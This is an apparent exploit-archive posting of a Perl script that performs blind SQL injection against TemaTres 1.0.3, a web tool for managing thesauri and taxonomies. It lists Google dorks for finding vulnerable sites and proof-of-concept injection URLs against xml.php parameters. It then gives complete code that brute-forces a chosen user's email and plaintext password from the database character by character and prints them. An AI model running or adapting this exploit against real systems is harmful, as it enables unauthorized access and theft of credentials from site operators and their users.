Home / os / win10

tematres-sql.txt

Posted on 05 May 2009

#!/usr/bin/perl #--------------------------------------------------- #BLIND SQL INJECTION EXPLOIT--TemaTres 1.0.3--> #--------------------------------------------------- # #CMS INFORMATION: # #-->WEB: http://www.r020.com.ar/tematres/ #-->DOWNLOAD: http://sourceforge.net/projects/tematres/ #-->DEMO: http://www.r020.com.ar/tematres/index.php #-->CATEGORY: CMS / Portals #-->DESCRIPTION: Web application to manage controlled vocabularies, taxonomies and thesaurus... # #CMS VULNERABILITY: # #-->TESTED ON: firefox 3 #-->DORKs: "Powered by TemaTres" / "Generado por TemaTres" / "Criado por TemaTres" #-->CATEGORY: BLIND SQL INJECTION EXPLOIT #-->AFFECT VERSION: LAST = 1.0.3 (maybe <= ?) #-->Discovered Bug date: 2009-04-24 #-->Reported Bug date: 2009-04-24 #-->Fixed bug date: 2009-05-04 #-->Info patch (v1.0.31): http://www.r020.com.ar/tematres/tematres1.031.zip #-->Author: YEnH4ckEr #-->mail: y3nh4ck3r[at]gmail[dot]com #-->WEB/BLOG: N/A #-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. #-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!). # #------------ #CONDITIONS: #------------ # #**gpc_magic_quotes=off # #--------------------------------------- #PROOF OF CONCEPT (BLIND SQL INJECTION): #--------------------------------------- # #~~~~~~-----> (get vars --> 'dcTema', 'madsTema', 'zthesTema', 'skosTema', 'xtmTema'): # #http://[HOST]/[HOME_PATH]/xml.php?dcTema=1'+AND+1=0/* #http://[HOST]/[HOME_PATH]/xml.php?dcTema=1'+AND+1=1/* # #http://[HOST]/[HOME_PATH]/xml.php?madsTema=2'+and+1=1/* #http://[HOST]/[HOME_PATH]/xml.php?madsTema=2'+and+1=0/* # #http://[HOST]/[HOME_PATH]/xml.php?zthesTema=2'+AND+1=0/* #http://[HOST]/[HOME_PATH]/xml.php?zthesTema=2'+AND+1=1/* # #http://[HOST]/[HOME_PATH]/xml.php?skosTema=2'+AND+1=1/* #http://[HOST]/[HOME_PATH]/xml.php?skosTema=2'+AND+1=0/* # #http://[HOST]/[HOME_PATH]/xml.php?xtmTema=2'+AND+1=0/* #http://[HOST]/[HOME_PATH]/xml.php?xtmTema=2'+AND+1=1/* # ####################################################################### ####################################################################### ##*******************************************************************## ## ESPECIAL GREETZ TO: Str0ke, JosS, Ulises2k ... ## ##*******************************************************************## ##-------------------------------------------------------------------## ##*******************************************************************## ## GREETZ TO: SPANISH H4ck3Rs community! ## ##*******************************************************************## ####################################################################### ####################################################################### # use LWP::UserAgent; use HTTP::Request; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title TemaTres CMS v1.0.3 (BLIND SQL Injection) Exploit"); system ("color 04"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my $request = HTTP::Request -> new(GET => $_[0]); my $outcode= $userag->request($request)->as_string; return $outcode; } sub helper { print " [###] TemaTres CMS v1.0.3 - (BLIND SQL Injection) Exploit "; print " [###] USAGE MODE: [###] "; print " [###] perl $0 [HOST] [PATH] [DBPREFIX] [Id] "; print " [###] [HOST]: Web. "; print " [###] [PATH]: Home Path. "; print " [###] [DBPREFIX]: Database Prefix. Default: lc_ (**optional) "; print " [###] [id]: Id user. Default: 1 (**optional) "; print " [###] Example: perl $0 'www.example.es' 'tematres1.03' 'lc_' '1' "; } sub lengthcolumns{ #First, user length... $exit=0; $i=0; while($exit==0){ my $blindsql=$_[0]."1'+AND+(SELECT+length(".$_[3].")+FROM+".$_[2]."usuario+WHERE+id=".$_[1].")=".$i++."/*"; #injected code $output=&request($blindsql); if($output =~ (/<dcterms:created>[0-9-:s]+</dcterms:created>/)){ $exit=1; }else{ $exit=0; } } #Save column length $length=$i-1; print " <<<<<--------------------------------------------------------->>>>> "; print " ".$_[3]." Length catched! "; print " ".$_[3]." Length: ".$length." "; print " Bruteforcing values... "; print " <<<<<--------------------------------------------------------->>>>> "; return $length; } sub bruteforcing { my $values=""; #Getting datas $j=1; $i=46; while(($j<=$_[2]) && ($i<=126)){ $blindsql=$_[0]."1'+AND+ascii(substring((SELECT+".$_[3]."+FROM+".$_[4]."usuario+WHERE+id='".$_[1]."'),".$j.",1))=".$i."/*"; #injected code my $output=&request($blindsql); if($output =~ (/<dcterms:created>[0-9-:s]+</dcterms:created>/)){ $values=$values.chr($i); $j++; $i=45; } if($i==57) { $i=63; #@ } if($i==64) { $i=96; } #new char $i++; } #Error if(($i>127) || ($j>$_[2])){ if(!$values){ print " <<<<<--------------------------------------------------------->>>>> "; print " EXPLOIT FAILED! "; print " Fatal error: Datas doesn't find! "; print " Cause: Maybe you have to include more characters on bruteforcing... "; print " <<<<<--------------------------------------------------------->>>>> "; exit(1); } } return $values; } #Main &lw; print " ####################################################### "; print " ####################################################### "; print " ## TemaTres v1.0.3 - (BLIND SQL Injection) Exploit ## "; print " ## ++Conditions: Need magic_quotes=off ## "; print " ## Author: Y3nh4ck3r ## "; print " ## Contact:y3nh4ck3r[at]gmail[dot]com ## "; print " ## Proud to be Spanish! ## "; print " ####################################################### "; print " ####################################################### "; #Init variables my $host=$ARGV[0]; my $path=$ARGV[1]; #Build the uri my $finalhost="http://".$host."/".$path."/xml.php?dcTema="; #Check all variables needed $numArgs = $#ARGV + 1; if($numArgs<=1) { &helper; exit(1); } #DB PREFIX parameter. It's optional. Default: lc_ if(!$ARGV[2]){ $db_prefix="lc_"; }else{ $db_prefix=$ARGV[2]; } #Id-user is optional.Default:1 if(!$ARGV[3]){ $idhacked="1"; }else{ $idhacked=$ARGV[3]; } #Testing blind sql injection my $finalrequest = $finalhost; #Test blind sql injection my $blindsql=$finalrequest."1'+AND+1=0/*"; #injected code $output=&request($blindsql); if ($output =~ (/<dcterms:created>[0-9-:s]+</dcterms:created>/)) { print " <<<<<--------------------------------------------------------->>>>> "; print " This Web is not vulnerable! "; print " --->Maybe: "; print " --->Patched or gpc_magic_quotes=off "; print " EXPLOIT FAILED! "; print " <<<<<--------------------------------------------------------->>>>> "; exit(1); }else{ print " <<<<<--------------------------------------------------------->>>>> "; print " Web is vulnerable! "; print " Tested Blind SQL Injection. "; print " Checking id user... "; print " <<<<<--------------------------------------------------------->>>>> "; } #Test if user exists my $blidsql=$finalrequest."1'+AND+(SELECT+COUNT(*)+FROM+".$db_prefix."usuario+WHERE+id='".$idhacked."')/*"; #injected code $output=&request($blindsql); if ($output =~ (/<dcterms:created>[0-9-:s]+</dcterms:created>/)) { print " <<<<<--------------------------------------------------------->>>>> "; print " User doesn't exists! "; print " EXPLOIT FAILED! "; print " <<<<<--------------------------------------------------------->>>>> "; exit(1); }else{ print " <<<<<--------------------------------------------------------->>>>> "; print " OK...The user exists! "; print " Starting exploit... "; print " <<<<<--------------------------------------------------------->>>>> "; print " Wait several minutes... "; print " <<<<<--------------------------------------------------------->>>>> "; } #Bruteforcing user... $length_mail=&lengthcolumns($finalrequest,$idhacked,$db_prefix,'mail'); $length_pass=&lengthcolumns($finalrequest,$idhacked,$db_prefix,'pass'); $email=&bruteforcing($finalrequest,$idhacked,$length_mail,'mail',$db_prefix); if(length($email)!=$length_mail) { print " <<<<<--------------------------------------------------------->>>>> "; print " EXPLOIT FAILED! "; print " Fatal error: Different length email! "; print " Cause: Maybe you have to include more characters on bruteforcing... "; print " <<<<<--------------------------------------------------------->>>>> "; exit(1); } print " <<<<<--------------------------------------------------------->>>>> "; print " Got user! "; print " Bruteforcing password (no hash!)... "; print " <<<<<--------------------------------------------------------->>>>> "; #Bruteforcing password... $passnohash=&bruteforcing($finalrequest,$idhacked,$length_pass,'pass',$db_prefix); #it isn't needed length if(length($passnohash)!=$length_pass) { print " <<<<<--------------------------------------------------------->>>>> "; print " EXPLOIT FAILED! "; print " Fatal error: Different length pass! "; print " Cause: Maybe you have to include more characters on bruteforcing... "; print " <<<<<--------------------------------------------------------->>>>> "; exit(1); } print " ************************************************* "; print " *** EXPLOIT EXECUTED (TemaTres v1.0.3 BSQLi) **** "; print " ************************************************* "; print " User-id:".$idhacked." "; print " E-mail:".$email." "; print " User-password:".$passnohash." "; print " <<----------------------FINISH!-------------------->> "; print " <<---------------Thanks to: y3hn4ck3r-------------->> "; print " <<------------------------EOF---------------------->> "; exit(1); #Ok...all job done

 

TOP

Malware :